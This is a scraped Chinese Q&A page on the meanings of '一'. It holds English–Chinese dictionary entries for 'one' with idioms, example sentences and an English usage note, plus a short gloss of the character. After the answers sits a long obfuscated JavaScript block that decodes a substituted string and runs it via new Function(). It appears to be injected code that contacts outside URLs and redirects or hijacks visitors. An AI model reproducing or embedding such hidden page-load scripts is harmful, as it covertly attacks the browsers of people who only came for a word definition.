一有哪些意思

2025-03-06 18:22:08
推荐回答(2个)
回答1:

one
D.J.[wʌn]
K.K.[wʌn]
num.
(数字)一
A person has one head and one neck.
人有一个头和一条脖子。
Please turn to Chapter One.
请翻到第一章。
n.
一个人, 任何人, 人们
One can’t be too careful in matters like this.
在这种问题上再怎麼小心都不为过。
He was very young, not more than twenty-three or four, as indeed one could see at a glance.
他非常年轻, 不会超过23、24岁, 任何人一眼就会看出来。
(表示与别的对照)某一例〔类〕
pron.
用於代替表示单个的事或人的名词或名词短语
There are only hard chocolates left, we’ve eaten all the soft ones.
只剩下巧克力硬糖, 我们把软糖全吃光了。
My house is the first one on the left.
我的房子是左边第一家。
you, etc. are a one!
(表示某人的行为令人惊讶或滑稽)你可真行,可了不得
‘She’s just about to marry for the fifth time.’ ‘Ooh, she is a one, isn’t she?’
“她马上就要第五次结婚了。”“天哪,她可真够厉害的。”
as one
一致地;全体;同时
We spoke as one on this matter.
在这个问题上我们口径一致。
As Keith approached the finishing line, the crowd rose to their feet as one man, cheering him on.
基思快到达终点的时候,人们不约而同站起来为他加油。
(be) at one (with sb/sth)
(与…)完全一致,融为一体;赞同(…)
Both political parties are at one on the question of foreign imports.
两个政党在国外进口问题上立场完全一致。
This is the kind of place where you can feel at one with nature.
在这个地方,你能感到与大自然融为一体。
be (a) one for (doing) sth
喜欢(或经常、长於)做某事
They live in the country and they’re great ones for long walks.
他们住在乡间,很喜欢长时间地散步。
She’s not one for staying up late—she likes to be in bed by eleven.
她不常熬夜,喜欢十一点钟就上床睡觉。
I’ve never been a great one for fish and chips.
我向来不太喜欢吃炸鱼薯条。
be/get/have one up on sb
胜过一筹;强过某人
Why do you always have to be one up on everybody else?
为什麼你总是想要比其他人都强?
I, you, etc. for one
(用於加强语气)我(或你等)就是其中之一
‘Who is definitely coming to the meeting?’ ‘Well, Mr Davies is, for one, and I’m almost sure Jill is too.’
“谁肯定会来参加会议?”“戴维斯先生是其中之一,而且我几乎可以肯定吉尔也会来。”
get/put one over on sb/sth
占上风; 胜过;占优势
I’m not going to let them get one over on me!
我不会让他们胜过我的!
Don’t believe a word he says. He’s just trying to put one over on you.
他说的话一个字也别信,他只不过想占你的上风而已。
(you’ve, he’s, etc.) got it in one
一下子明白(或猜到)
‘I don’t think this job really suits me.’ ‘So you’re thinking of leaving.’ ‘Yes, Dick, you’ve got it in one.’
“我觉得这份工作不适合我。”“所以你想辞职?”“是的,迪克,你一下子就猜到了。”
have had one too many
喝多了
I think David’s had one too many. He can hardly stand up.
我觉得戴维喝多了,他都站不住了。
in one
集於一身;合为一体
She’s a mother and company director in one.
她既是母亲,同时还担任著公司董事。
It’s a public relations office, a press office and a private office all in one.
那儿既是公关办公室,也是新闻办公室,又是私人办公室,三位一体。
it’s a hundred, etc. to one that sb/sth will (not) do sth
几乎可以肯定…(不)会做某事
It’s a hundred to one that the train will be late.
火车肯定会晚点。
It’s a million to one that she’ll finish before us. She always does.
我敢说她一定会比我们先完成,她总是这样。
one after another/the other
一个接一个地;相继
The bills kept coming in, one after another.
账单一张接一张,不停地送来。
one and all
各位;大家;每个人
Happy New Year to one and all!
祝各位新年快乐!
the one and only
(用於强调)有名的,绝无仅有的, 唯一的
That was the one and only James Brown, with ‘Try me’.
感谢著名的詹姆斯·布朗为我们演唱了“尝试”。
My trip to France is the one and only time I’ve been out of the country.
我的法国之行是我唯一的一次出国旅行。
one and the same
(表示强调)就是同一个
In some countries, the police and the army are one and the same thing.
在某些国家,警察就是军队。
one by one
一个接一个;逐一
She read all of Agatha Christie’s novels one by one.
她逐一读完了阿加莎·克裏斯蒂的小说。
One by one the guests left.
客人一位接一位地离开了。
when you’ve seen, heard, etc. one, you’ve seen, heard, etc. them all
都差不多;大同小异
I don’t like science fiction novels much. When you’ve read one, you’ve read them all.
我不怎麼喜欢科幻小说,它们都大同小异。
adj.
某一个
某一
I met her one afternoon in June.
六月的一天下午我遇到了她。
同一个
惟一的

美国传统英英词典

one
one
AHD:[wén]
D.J.[wJn]
K.K.[wJn]
adj.
Being a single entity, unit, object, or living being.
Characterized by unity; undivided:
They spoke with one voice.
Of the same kind or quality:
two animals of one species.
Forming a single entity of two or more components:
three chemicals combining into one solution.
Being a single member or element of a group, category, or kind:
I'm just one player on the team.
Being a single thing in contrast with or relation to another or others of its kind:
One day is just like the next.
Occurring or existing as something indefinite, as in time or position:
He will come one day.
Occurring or existing as something particular but unspecified, as in time past:
late one evening.
Informal Used as an intensive:
That is one fine dog.
Being the only individual of a specified or implied kind:
the one person I could marry; the one horse that can win this race.
n.
The cardinal number, represented by the symbol 1, designating the first such unit in a series.
A single person or thing; a unit:
This is the one I like best.
A one-dollar bill.
pron.
An indefinitely specified individual:
She visited one of her cousins.
An unspecified individual; anyone:
»The older one grows the more one likes indecencyÆ(Virginia Woolf).
习惯用语
at one
In accord or unity.
one and all
Everyone.
one by one
Individually in succession.
语源
Middle English on
from Old English
用法
When constructions headed by one appear as the subject of a sentence or relative clause, there may be a question as to whether the verb should be singular or plural. Such a construction is exemplified in the sentence
One of every ten rotors was found defective.
Although the plural were is sometimes used in such sentences, an earlier survey found that the singular was preferred by 92 percent of the Usage Panel. · Constructions such as
one of those people who
pose a different problem. Most grammarians would argue that who should be followed by a plural verb in these sentences, as in He is one of those people who just don't take »noÆ for an answer. Their thinking is that the relative pronoun who refers to the plural noun people, not to one. They would extend the rule to constructions with inanimate nouns, as in
The sports car turned out to be one of the most successful products that were ever manufactured in this country.
However, constructions of this sort are often used with a singular verb even by the best writers. In an earlier survey, 42 percent of the Usage Panel accepted the use of the singular verb in such constructions. Note also that when the phrase containing one is introduced by the definite article, the verb in the relative clause must be singular: He is the only one of the students who has (not have ) already taken Latin. · Constructions using one or more or one or two always take a plural verb: One or more cars were parked in front of the house each day this week. One or two students from our department have won prizes. Note that when followed by a fraction, one ordinarily takes a plural verb: One and a half years have passed since I last saw her. The fraction rule has an exception in that amounts are sometimes treated as singular entities: One and a half cups is enough sugar. Note also that the plural rule does not apply to these one-plus-a-fraction constructions that are introduced by the indefinite article. These are always singular: A year and a half has passed since I last saw her.

回答2:

汉字的基本笔画,也可单独成为汉字,基本释义是最小的正整数。
详见“百科”,输入“一”即可搜到

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();